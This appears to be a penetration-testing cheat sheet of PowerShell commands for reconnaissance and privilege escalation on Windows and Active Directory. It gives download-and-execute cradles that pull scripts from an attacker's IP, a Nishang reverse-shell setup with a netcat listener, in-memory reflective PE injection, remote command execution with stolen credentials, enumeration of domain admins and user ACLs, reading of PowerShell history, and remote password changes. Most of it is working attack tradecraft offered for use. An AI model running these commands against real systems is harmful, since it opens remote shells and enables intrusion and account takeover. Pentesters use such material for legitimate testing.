PowerShell
Some useful PowerShell commands that you can use during your recon or privsec phases.
Execute block as an other user
$pass = ConvertTo-SecureString '<password>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<dom>\<username>", $pass)
Invoke-Command -Computer <computer_name> -Credential $cred -ScriptBlock { cmd.exe "/c <cmd>" }
Download and execute script
The repository Nishang contains a good PowerShell script to create a reverse shell. You need to add the following line at the end:
Invoke-PowerShellTcp -Reverse -IPAddress <ip> -Port <port>
On your local machine:
- Create an HTTP server to serve the script:
python -m http.serve
- Listen for an incoming connection with nc.
On the remote host, execute the following PowerShell script:
IEX(New-Object System.Net.WebClient).DownloadString('http://<ip>:<port>/<script_name.ps1>')
ReflectivePEInjection
Start an executable from memory:
IEX (New-Object System.Net.WebClient).DownloadString("https://security-tips.vincd.com/assets/Invoke-ReflectivePEInjection.ps1")
$ExeBytes = IWR "http://<ip>:<port>/x.exe" | Select-Object -ExpandProperty Content
Invoke-ReflectivePEInjection -PEBytes $ExeBytes
Execute C# DLL from Powershell
# Load a dll to Powershell
[Reflection.Assembly]::LoadFile("C:\Path\MyNamespace.Service.dll")
[Reflection.Assembly]::LoadFile("C:\Path\MyNamespace.Cryptography.dll")
# Call a public public static method
[MyNamespace.Service.Config]::ApplicationKey()
# Instantiate a class and class a method
$c = New-Object MyNamespace.Cryptography.MyCryptography
$c.Decrypt("CIPHER_TEXT", [MyNamespace.Service.Config]::ApplicationKey())
ActiveDirectory Module without RSAT
To use the ActiveDirectory Module you only need to import the dll Microsoft.ActiveDirectory.Management.dll
.
It located in the following folder on a system where RAST is installed :
C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.ActiveDirectory.Management\
On the distant machine, you copy this dll then import it in Powershell:
Import-Module .\Microsoft.ActiveDirectory.Management.dll
Domain commands
Collect AD users information
Here is snippets of Powershell commands to interact with AD LDAP. You can also use customize filters to get vulnerable users (SPN, ...)
# Helping functions
function Get-ADUserDirectoryEntry($user) {
return (New-Object System.DirectoryServices.DirectorySearcher("(&(objectCategory=User)(samAccountName=$user))")).FindOne().GetDirectoryEntry()
}
function Get-ADUserGroups($user) {
$userDirectoryEntry = Get-ADUserDirectoryEntry($user)
$groups = $userDirectoryEntry.memberOf
return $groups
}
function Get-ADGroupMembers($GroupName) {
if ($GroupName -like "CN=*") {
$GroupDistinguishedName = $GroupName
} else {
# find the distinguished name from the group name
$GroupDistinguishedName = (New-Object System.DirectoryServices.DirectorySearcher("(&(objectCategory=Group)(cn=$GroupName))")).FindOne().GetDirectoryEntry().distinguishedName
}
# limited to the first 10k entries
$GroupMembers = (New-Object System.DirectoryServices.DirectorySearcher("(&(objectCategory=User)(memberOf=$GroupDistinguishedName ))")).FindAll()
return $GroupMembers.properties
}
function Get-ADComputerByOS($operatingSystem) {
# https://ldapwiki.com/wiki/Active%20Directory%20Computer%20Related%20LDAP%20Query
return (New-Object System.DirectoryServices.DirectorySearcher("(&(&(&(samAccountType=805306369)(objectCategory=computer)(operatingSystem=$operatingSystem*))))")).FindAll()
}
# Get "Domain admins" users, be carefull the name may change depending on the DC lang
$DomainAdmins = Get-ADGroupMembers("Domain Admins")
foreach($user in $DomainAdmins) { echo "$($user.displayname) ($($user.samaccountname))" }
Get Domain Password Policy
$policy = Get-ADDefaultDomainPasswordPolicy -Credential $cred -Server $domain
Get user owner
Get-ADUser $USERNAME | ForEach-Object {Get-ACL "AD:\$($_.DistinguishedName)" | Select-Object -ExpandProperty Owner}
List deleted users
$deletedObjectsDom = get-addomain | select DeletedObjectsContainer
$objects = Get-ADObject -SearchBase $deletedObjectsDom.DeletedObjectsContainer -ldapfilter "(objectClass=user)" -IncludeDeletedObjects -properties *
foreach ($object in $objects) { $object }
Miscellaneous commands
List TCP listening connections
The Get-NetTCPConnection
cmdlets lists TCP connections. By default the processes pid is return, so the
following command line select the process name instead.
Get-NetTCPConnection -State Listen | Select local*, remote*, state, @{Name="Process";Expression={(Get-Process -Id $_.OwningProcess).ProcessName}} | Format-Table -AutoSize
List Email aliases
$ (Get-ADUser -Identity <user_ad_id> -Properties proxyAddresses).proxyAddresses
Get PowerShell command history
cd "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadline"
gc ConsoleHost_history.txt
Convert DACL
$acl = get-acl HKLM:\System\CurrentControlSet\Services
ConvertFrom-SddlString -Sddl $acl -type RegistryRights | { Foreach-Object { $.DiscretionaryAcl } }
Set Password Remotely
This script change the password of a user on a remote forest.
Set-PasswordRemotely {USERNAME} {DOMAIN}
List Certificates
$NamingContext = "DC=corpo,DC=lan"
$directoryEntry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Configuration,$NamingContext")
$adSearcher = New-Object System.DirectoryServices.DirectorySearcher($directoryEntry, "(distinguishedName=CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,$NamingContext)")
$NTAuthCertificates = $adSearcher.FindOne()
$cacertificates = $NTAuthCertificates.Properties.cacertificate
Foreach ($rawByte in $cacertificates) {
$cacertificate = [System.Security.Cryptography.X509Certificates.X509Certificate2]$rawByte
$subjectName = [System.Text.Encoding]::Default.GetString($cacertificate.SubjectName.RawData)
$issuerName = [System.Text.Encoding]::Default.GetString($cacertificate.IssuerName.RawData)
$signatureAlgorithm = $cacertificate.SignatureAlgorithm.FriendlyName
}
List inactive computers
$computers = (New-Object System.DirectoryServices.DirectorySearcher("(&(&(samAccountType=805306369)(objectCategory=computer)))")).FindAll()
$inactiveDays = 180
$limit = (Get-Date).AddDays(-1 * $inactiveDays)
$path = "C:\Temp\Inactive_Computers_$($inactiveDays)days.csv"
foreach($computer in $computers) {
$c = $computer
$lastlogontimestamp = [datetime]::FromFileTime($c.Properties.lastlogontimestamp[0])
$pwdlastset = [datetime]::FromFileTime($c.Properties.pwdlastset[0])
if ($lastlogontimestamp -lt $limit) {
Add-Content $path "$($c.Properties.name),$($pwdlastset),$($lastlogontimestamp),$($c.Properties.operatingsystem)"
}
}
List GPO
The following script use the DirectorySearcher
module to search for all the GPO
on the current domain. The cmdlet Get-GPO
could also be used.
# https://gallery.technet.microsoft.com/scriptcenter/Get-GroupPolicyObject-05aaef2d
$GPOSearcher = New-Object DirectoryServices.DirectorySearcher -Property @{
Filter = '(objectClass=groupPolicyContainer)'
PageSize = 100
}
$GPOSearcher.FindAll() | ForEach-Object {
New-Object -TypeName PSCustomObject -Property @{
'DisplayName' = $_.properties.displayname -join ''
'DistinguishedName' = $_.properties.distinguishedname -join ''
'CommonName' = $_.properties.cn -join ''
'FilePath' = $_.properties.gpcfilesyspath -join ''
} | Select-Object -Property DisplayName,CommonName,FilePath,DistinguishedName
}
To get the permissions on a GPO, you can use the cmdlet Get-GPPermission
:
Get-GPPermission -Name "GPO_NAME" -All